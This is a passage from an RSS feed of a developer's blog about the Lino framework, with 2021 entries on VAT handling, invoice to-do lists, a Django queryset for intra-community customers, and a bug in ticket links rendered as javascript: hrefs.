&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;order_by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;vat_id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;annotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vataccountinvoice_base&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;vat_vataccountinvoice_set_by_partner__total_base&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;flt1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;vat_vataccountinvoice_set_by_partner__journal__trade_type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;TradeTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sales&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;vat_vataccountinvoice_set_by_partner__accounting_period&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;vat_vataccountinvoice_set_by_partner__vat_regime__in&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;intracom_regimes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;vataccountinvoice_base__gte&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_installed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;sales&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;annotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vatproductinvoice_base&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;sales_vatproductinvoice_set_by_partner__total_base&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;flt2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;sales_vatproductinvoice_set_by_partner__journal__trade_type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;TradeTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
        &lt;span class="n"&gt;sales&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;sales_vatproductinvoice_set_by_partner__accounting_period&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;sales_vatproductinvoice_set_by_partner__vat_regime__in&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;intracom_regimes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;vatproductinvoice_base__gte&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flt1&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;flt2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flt1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;distinct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vatproductinvoice_base&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# print(p, p.vat_id, p.vatproductinvoice_base, p.vataccountinvoice_base)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0902.html</guid><pubDate>Thu, 02 Sep 2021 00:00:00 +0000</pubDate></item><item><title>Friday, August 27, 2021</title><link>https://luc.lino-framework.org/blog/2021/0827.html</link><description>&lt;section id="friday-august-27-2021"&gt;
&lt;h1&gt;Friday, August 27, 2021&lt;a class="headerlink" href="#friday-august-27-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am working on compound ticket &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4302"&gt;#4302&lt;/a&gt; for &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt;. This page is my
progress summary.&lt;/p&gt;
&lt;p&gt;WAITING:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Remove the “payment method” field. We don’t use it in Così. –&amp;gt; Not sure
whether we want this. Think more. Maybe we can use the payment method also in
a simple Così.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DONE:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Add phones plugin to Cosi&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“Introductive text” should be printed before the table of items. And the field
label is not translated to German.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Remove the VAT class “vehicles” in bevat and bevats&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Show the VAT rate in the designations of VAT classes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;intra-community sales invoice were not booked correctly in bevat&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enter and register a purchase invoice doesn’t work when the accounting period
doesn’t exist. (Not reproducible. I guess that this was a misdiagnosis)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__str__()&lt;/span&gt;&lt;/code&gt; of an unregistered invoice used to say “jnl.ref #id”, but
that’s irritating. Note the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.LedgerRegistrable.hide_editable_number" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;hide_editable_number&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; feature: We
usually don’t want to see the number of a voucher in an editable state because
that number may change. Now the  &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__str__()&lt;/span&gt;&lt;/code&gt; of an unregistered invoice
shows &lt;cite&gt;(Sales invoice #1)&lt;/cite&gt; instead of &lt;cite&gt;(VKR #1)&lt;/cite&gt;, which was indeed dangerously
similar to &lt;cite&gt;VKR 1/2021&lt;/cite&gt;.  And it’s true that not only the number might change
but also the journal.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The icon of the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;toggle_state&lt;/span&gt;&lt;/code&gt; action is not rendered in ExtJS&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Adapt the payment date when voucher_date changes.
Must wait for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4305"&gt;#4305&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Export the list of intracom customers (&lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-intra-community-statement" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;intra-community statement&lt;/span&gt;&lt;/a&gt;) to
XML (the well-known &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2406"&gt;#2406&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Write a data checker to report duplicate or missing invoice numbers&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When hitting &lt;kbd class="kbd docutils literal notranslate"&gt;Insert&lt;/kbd&gt; in a grid view of invoice items, the new item
should get inserted before the currently selected row.
Requires a change in the framework.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0827.html</guid><pubDate>Fri, 27 Aug 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, August 18, 2021</title><link>https://luc.lino-framework.org/blog/2021/0818.html</link><description>&lt;section id="wednesday-august-18-2021"&gt;
&lt;h1&gt;Wednesday, August 18, 2021&lt;a class="headerlink" href="#wednesday-august-18-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The fields &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;vat_id&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;vat_regime&lt;/span&gt;&lt;/code&gt; are now implemented by the new
model mixin &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.VatSubjectable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.VatSubjectable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (instead of being injected).
And &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.Partner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts.Partner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; inherits from
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.VatSubjectable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.VatSubjectable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;No functional change, but Sharif can now extend the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;full_clean()&lt;/span&gt;&lt;/code&gt; of
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.VatSubjectable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.VatSubjectable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; so that it validates the &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-VAT-id" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;VAT id&lt;/span&gt;&lt;/a&gt;
of a partner.&lt;/p&gt;
&lt;p&gt;I am not yet sure how to document all this…&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.Partner.vat_id" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts.Partner.vat_id&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.VatSubjectable.vat_id" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.VatSubjectable.vat_id&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#xl-vat" title="(in Lino Developer Guide)"&gt;&lt;span&gt;vat : Adding VAT (Value-added tax) functionality&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0818.html</guid><pubDate>Wed, 18 Aug 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, August 17, 2021</title><link>https://luc.lino-framework.org/blog/2021/0817.html</link><description>&lt;section id="tuesday-august-17-2021"&gt;
&lt;h1&gt;Tuesday, August 17, 2021&lt;a class="headerlink" href="#tuesday-august-17-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I reviewed the user guide about &lt;a class="reference external" href="https://using.lino-framework.org/howto/purchases.html#ug-howto-purchases" title="(in Lino User Guide)"&gt;&lt;span&gt;Purchases&lt;/span&gt;&lt;/a&gt; and slightly optimized
the behaviour when entering partly deducible VAT: when you manually change the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;vat_class&lt;/span&gt;&lt;/code&gt; of an invoice item, then Lino now re-computes all amounts of
that item, based on the invoices total amount and the new &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-VAT-class" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;VAT class&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There was no insert_layout in &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;sheet.Items&lt;/span&gt;&lt;/code&gt;, making it impossible to
create a new item using the &lt;kbd class="kbd docutils literal notranslate"&gt;Insert&lt;/kbd&gt; key.&lt;/p&gt;
&lt;p&gt;Renamed &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-VAT-class" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;VAT class&lt;/span&gt;&lt;/a&gt; “Operations without VAT” to “Without VAT”. And the
translations for de and fr were missing.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0817.html</guid><pubDate>Tue, 17 Aug 2021 00:00:00 +0000</pubDate></item><item><title>Friday, August 6, 2021</title><link>https://luc.lino-framework.org/blog/2021/0806.html</link><description>&lt;section id="friday-august-6-2021"&gt;
&lt;h1&gt;Friday, August 6, 2021&lt;a class="headerlink" href="#friday-august-6-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="link-to-other-ticket-in-a-comment-doesn-t-work"&gt;
&lt;h2&gt;Link to other ticket in a comment doesn’t work&lt;a class="headerlink" href="#link-to-other-ticket-in-a-comment-doesn-t-work" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Observation about &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4278"&gt;#4278&lt;/a&gt;: When a comment has a link to ticket (e.g.
“#2614”), then that link &lt;em&gt;is broken&lt;/em&gt; when shown on ticket detail, but &lt;em&gt;it works&lt;/em&gt;
when shown on the dashboard.&lt;/p&gt;
&lt;p&gt;It works in the dashboard (&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;RecentComments&lt;/span&gt;&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;javascript:window.App.runAction({ &amp;quot;actorId&amp;quot;: &amp;quot;tickets.Tickets&amp;quot;, &amp;quot;an&amp;quot;:&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;detail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;rp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;dashboard-1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;base_params&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;param_values&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;end_date&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;observed_event&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;observed_eventHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;reply_to&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;reply_toHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;start_date&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;user&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;userHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;record_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2614&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It’s broken in the detail of a ticket (&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;CommentsByRFC&lt;/span&gt;&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;javascript:window.App.runAction({ &amp;quot;actorId&amp;quot;: &amp;quot;tickets.Tickets&amp;quot;, &amp;quot;an&amp;quot;:&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;detail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;rp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;base_params&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;mk&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2239&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;mt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;37&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;param_values&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;end_date&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;observed_event&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;observed_eventHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;reply_to&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Blank&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;reply_toHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;&amp;amp;lt;BLANK&amp;amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;start_date&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;user&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;userHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;record_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2614&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0806.html</guid><pubDate>Fri, 06 Aug 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, August 5, 2021</title><link>https://luc.lino-framework.org/blog/2021/0805.html</link><description>&lt;section id="thursday-august-5-2021"&gt;
&lt;h1&gt;Thursday, August 5, 2021&lt;a class="headerlink" href="#thursday-august-5-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Yesterday, after several days of trying to understand why my changes for
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3301"&gt;#3301&lt;/a&gt; broke Presto, I explained the situation to Sharif, and then
finally understood the last missing piece and got &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; fixed. Thanks to
Sharif for listening.&lt;/p&gt;
&lt;p&gt;Now I committed and started to review the docs:
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#xl-specs-invoicing" title="(in Lino Developer Guide)"&gt;&lt;span&gt;invoicing : Generating invoices&lt;/span&gt;&lt;/a&gt;
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/invoicing.html#ug-plugins-invoicing" title="(in Lino User Guide)"&gt;&lt;span&gt;The invoicing plugin&lt;/span&gt;&lt;/a&gt;
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/orders.html#ug-plugins-orders" title="(in Lino User Guide)"&gt;&lt;span&gt;The orders plugin&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;TODO: Manual tests in Noi. Make a template for printing an SLA. Write more docs.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0805.html</guid><pubDate>Thu, 05 Aug 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, August 3, 2021</title><link>https://luc.lino-framework.org/blog/2021/0803.html</link><description>&lt;section id="tuesday-august-3-2021"&gt;
&lt;h1&gt;Tuesday, August 3, 2021&lt;a class="headerlink" href="#tuesday-august-3-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Continued from &lt;a class="reference internal" href="0802.html"&gt;&lt;span class="doc"&gt;yesterday&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Trying to understood why presto is still failing. It’s because I tried to
optimize things regarding the differentiation between the “partner” and the
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/invoicing.html#term-invoice-recipient" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;invoice recipient&lt;/span&gt;&lt;/a&gt;. Seems that Presto is just the only demo having examples of
invoice recipients different from partner, and therefore the only use case where
this optimization caused a failure.&lt;/p&gt;
&lt;p&gt;I tried to get rid of this difference,  but this means that the invoice
recipients always receive one invoice per partner, possibly having multiple
invoices sent by a single plan. We cannot remove the feature of group invoices.
For example an orphan house having 10 children attend to therapies, they want to
see the costs separated per child, but they do not want to get 10 invoices every
month.&lt;/p&gt;
